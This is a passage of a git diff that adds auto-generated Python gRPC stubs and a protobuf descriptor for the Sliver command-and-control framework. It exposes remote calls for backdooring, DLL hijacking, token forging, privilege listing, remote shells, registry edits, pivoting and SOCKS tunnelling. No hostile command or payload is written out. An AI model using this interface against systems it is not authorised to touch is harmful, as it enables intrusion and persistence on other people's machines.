+ sliverpb_dot_sliver__pb2.CurrentTokenOwnerReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.CurrentTokenOwner.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def PivotStartListener(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/PivotStartListener',
+ sliverpb_dot_sliver__pb2.PivotStartListenerReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.PivotListener.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def PivotStopListener(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/PivotStopListener',
+ sliverpb_dot_sliver__pb2.PivotStopListenerReq.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def PivotSessionListeners(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/PivotSessionListeners',
+ sliverpb_dot_sliver__pb2.PivotListenersReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.PivotListeners.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def PivotGraph(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/PivotGraph',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.PivotGraph.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def StartService(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartService',
+ sliverpb_dot_sliver__pb2.StartServiceReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.ServiceInfo.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def StopService(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StopService',
+ sliverpb_dot_sliver__pb2.StopServiceReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.ServiceInfo.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RemoveService(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RemoveService',
+ sliverpb_dot_sliver__pb2.RemoveServiceReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.ServiceInfo.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def MakeToken(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MakeToken',
+ sliverpb_dot_sliver__pb2.MakeTokenReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.MakeToken.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetEnv(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetEnv',
+ sliverpb_dot_sliver__pb2.EnvReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.EnvInfo.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def SetEnv(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/SetEnv',
+ sliverpb_dot_sliver__pb2.SetEnvReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.SetEnv.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def UnsetEnv(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/UnsetEnv',
+ sliverpb_dot_sliver__pb2.UnsetEnvReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.UnsetEnv.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Backdoor(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Backdoor',
+ clientpb_dot_client__pb2.BackdoorReq.SerializeToString,
+ clientpb_dot_client__pb2.Backdoor.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RegistryRead(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegistryRead',
+ sliverpb_dot_sliver__pb2.RegistryReadReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RegistryRead.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RegistryWrite(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegistryWrite',
+ sliverpb_dot_sliver__pb2.RegistryWriteReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RegistryWrite.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RegistryCreateKey(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegistryCreateKey',
+ sliverpb_dot_sliver__pb2.RegistryCreateKeyReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RegistryCreateKey.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RegistryDeleteKey(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegistryDeleteKey',
+ sliverpb_dot_sliver__pb2.RegistryDeleteKeyReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RegistryDeleteKey.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RegistryListSubKeys(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegistryListSubKeys',
+ sliverpb_dot_sliver__pb2.RegistrySubKeyListReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RegistrySubKeyList.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RegistryListValues(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegistryListValues',
+ sliverpb_dot_sliver__pb2.RegistryListValuesReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RegistryValuesList.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RunSSHCommand(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RunSSHCommand',
+ sliverpb_dot_sliver__pb2.SSHCommandReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.SSHCommand.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def HijackDLL(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/HijackDLL',
+ clientpb_dot_client__pb2.DllHijackReq.SerializeToString,
+ clientpb_dot_client__pb2.DllHijack.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetPrivs(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetPrivs',
+ sliverpb_dot_sliver__pb2.GetPrivsReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.GetPrivs.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def StartRportFwdListener(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartRportFwdListener',
+ sliverpb_dot_sliver__pb2.RportFwdStartListenerReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RportFwdListener.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetRportFwdListeners(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetRportFwdListeners',
+ sliverpb_dot_sliver__pb2.RportFwdListenersReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RportFwdListeners.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def StopRportFwdListener(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StopRportFwdListener',
+ sliverpb_dot_sliver__pb2.RportFwdStopListenerReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RportFwdListener.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def OpenSession(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/OpenSession',
+ sliverpb_dot_sliver__pb2.OpenSession.SerializeToString,
+ sliverpb_dot_sliver__pb2.OpenSession.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CloseSession(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CloseSession',
+ sliverpb_dot_sliver__pb2.CloseSession.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RegisterExtension(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegisterExtension',
+ sliverpb_dot_sliver__pb2.RegisterExtensionReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RegisterExtension.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CallExtension(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CallExtension',
+ sliverpb_dot_sliver__pb2.CallExtensionReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.CallExtension.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def ListExtensions(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ListExtensions',
+ sliverpb_dot_sliver__pb2.ListExtensionsReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.ListExtensions.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RegisterWasmExtension(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegisterWasmExtension',
+ sliverpb_dot_sliver__pb2.RegisterWasmExtensionReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RegisterWasmExtension.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def ListWasmExtensions(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ListWasmExtensions',
+ sliverpb_dot_sliver__pb2.ListWasmExtensionsReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.ListWasmExtensions.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def ExecWasmExtension(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ExecWasmExtension',
+ sliverpb_dot_sliver__pb2.ExecWasmExtensionReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.ExecWasmExtension.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def WGStartPortForward(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WGStartPortForward',
+ sliverpb_dot_sliver__pb2.WGPortForwardStartReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.WGPortForward.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def WGStopPortForward(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WGStopPortForward',
+ sliverpb_dot_sliver__pb2.WGPortForwardStopReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.WGPortForward.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def WGStartSocks(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WGStartSocks',
+ sliverpb_dot_sliver__pb2.WGSocksStartReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.WGSocks.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def WGStopSocks(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WGStopSocks',
+ sliverpb_dot_sliver__pb2.WGSocksStopReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.WGSocks.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def WGListForwarders(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WGListForwarders',
+ sliverpb_dot_sliver__pb2.WGTCPForwardersReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.WGTCPForwarders.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def WGListSocksServers(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WGListSocksServers',
+ sliverpb_dot_sliver__pb2.WGSocksServersReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.WGSocksServers.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Shell(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Shell',
+ sliverpb_dot_sliver__pb2.ShellReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Shell.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Portfwd(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Portfwd',
+ sliverpb_dot_sliver__pb2.PortfwdReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Portfwd.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CreateSocks(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CreateSocks',
+ sliverpb_dot_sliver__pb2.Socks.SerializeToString,
+ sliverpb_dot_sliver__pb2.Socks.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CloseSocks(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CloseSocks',
+ sliverpb_dot_sliver__pb2.Socks.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def SocksProxy(request_iterator,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.stream_stream(request_iterator, target, '/rpcpb.SliverRPC/SocksProxy',
+ sliverpb_dot_sliver__pb2.SocksData.SerializeToString,
+ sliverpb_dot_sliver__pb2.SocksData.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CreateTunnel(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CreateTunnel',
+ sliverpb_dot_sliver__pb2.Tunnel.SerializeToString,
+ sliverpb_dot_sliver__pb2.Tunnel.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CloseTunnel(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CloseTunnel',
+ sliverpb_dot_sliver__pb2.Tunnel.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def TunnelData(request_iterator,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.stream_stream(request_iterator, target, '/rpcpb.SliverRPC/TunnelData',
+ sliverpb_dot_sliver__pb2.TunnelData.SerializeToString,
+ sliverpb_dot_sliver__pb2.TunnelData.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Events(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_stream(request, target, '/rpcpb.SliverRPC/Events',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.Event.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2.py b/cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2.py
new file mode 100644
index 0000000..6cccc95
--- /dev/null
+++ b/cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2.py
@@ -0,0 +1,399 @@
+# -*- coding: utf-8 -*-
+# Generated by the protocol buffer compiler. DO NOT EDIT!
+# source: sliverpb/sliver.proto
+"""Generated protocol buffer code."""
+from google.protobuf.internal import builder as _builder
+from google.protobuf import descriptor as _descriptor
+from google.protobuf import descriptor_pool as _descriptor_pool
+from google.protobuf import symbol_database as _symbol_database
+# @@protoc_insertion_point(imports)
+
+_sym_db = _symbol_database.Default()
+
+
+from sliver_service.pb.commonpb import common_pb2 as commonpb_dot_common__pb2
+
+
+DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x15sliverpb/sliver.proto\x12\x08sliverpb\x1a\x15\x63ommonpb/common.proto\"N\n\x08\x45nvelope\x12\n\n\x02ID\x18\x01 \x01(\x03\x12\x0c\n\x04Type\x18\x02 \x01(\r\x12\x0c\n\x04\x44\x61ta\x18\x03 \x01(\x0c\x12\x1a\n\x12UnknownMessageType\x18\x04 \x01(\x08\"Q\n\x0b\x42\x65\x61\x63onTasks\x12\n\n\x02ID\x18\x01 \x01(\t\x12!\n\x05Tasks\x18\x02 \x03(\x0b\x32\x12.sliverpb.Envelope\x12\x13\n\x0bNextCheckin\x18\x03 \x01(\x03\"\x9f\x02\n\x08Register\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x10\n\x08Hostname\x18\x02 \x01(\t\x12\x0c\n\x04Uuid\x18\x03 \x01(\t\x12\x10\n\x08Username\x18\x04 \x01(\t\x12\x0b\n\x03Uid\x18\x05 \x01(\t\x12\x0b\n\x03Gid\x18\x06 \x01(\t\x12\n\n\x02Os\x18\x07 \x01(\t\x12\x0c\n\x04\x41rch\x18\x08 \x01(\t\x12\x0b\n\x03Pid\x18\t \x01(\x05\x12\x10\n\x08\x46ilename\x18\n \x01(\t\x12\x10\n\x08\x41\x63tiveC2\x18\x0b \x01(\t\x12\x0f\n\x07Version\x18\x0c \x01(\t\x12\x19\n\x11ReconnectInterval\x18\r \x01(\x03\x12\x10\n\x08ProxyURL\x18\x0e \x01(\t\x12\x10\n\x08\x43onfigID\x18\x10 \x01(\t\x12\x0e\n\x06PeerID\x18\x11 \x01(\x03\x12\x0e\n\x06Locale\x18\x12 \x01(\t\"y\n\x0e\x42\x65\x61\x63onRegister\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x10\n\x08Interval\x18\x02 \x01(\x03\x12\x0e\n\x06Jitter\x18\x03 \x01(\x03\x12$\n\x08Register\x18\x04 \x01(\x0b\x32\x12.sliverpb.Register\x12\x13\n\x0bNextCheckin\x18\x05 \x01(\x03\"C\n\x0fSessionRegister\x12\n\n\x02ID\x18\x01 \x01(\t\x12$\n\x08Register\x18\x02 \x01(\x0b\x32\x12.sliverpb.Register\"s\n\x0bOpenSession\x12\x0b\n\x03\x43\x32s\x18\x01 \x03(\t\x12\r\n\x05\x44\x65lay\x18\x02 \x01(\x03\x12$\n\x08Response\x18\x08 \x01(\x0b\x32\x12.commonpb.Response\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"X\n\x0c\x43loseSession\x12$\n\x08Response\x18\x08 \x01(\x0b\x32\x12.commonpb.Response\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"_\n\x04Ping\x12\r\n\x05Nonce\x18\x01 \x01(\x05\x12$\n\x08Response\x18\x08 \x01(\x0b\x32\x12.commonpb.Response\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"<\n\x07KillReq\x12\r\n\x05\x46orce\x18\x01 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"+\n\x05PsReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"P\n\x02Ps\x12$\n\tProcesses\x18\x01 \x03(\x0b\x32\x11.commonpb.Process\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"N\n\x0cTerminateReq\x12\x0b\n\x03Pid\x18\x01 \x01(\x05\x12\r\n\x05\x46orce\x18\x02 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\">\n\tTerminate\x12\x0b\n\x03Pid\x18\x01 \x01(\x05\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"1\n\x0bIfconfigReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"_\n\x08Ifconfig\x12-\n\rNetInterfaces\x18\x01 \x03(\x0b\x32\x16.sliverpb.NetInterface\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"M\n\x0cNetInterface\x12\r\n\x05Index\x18\x01 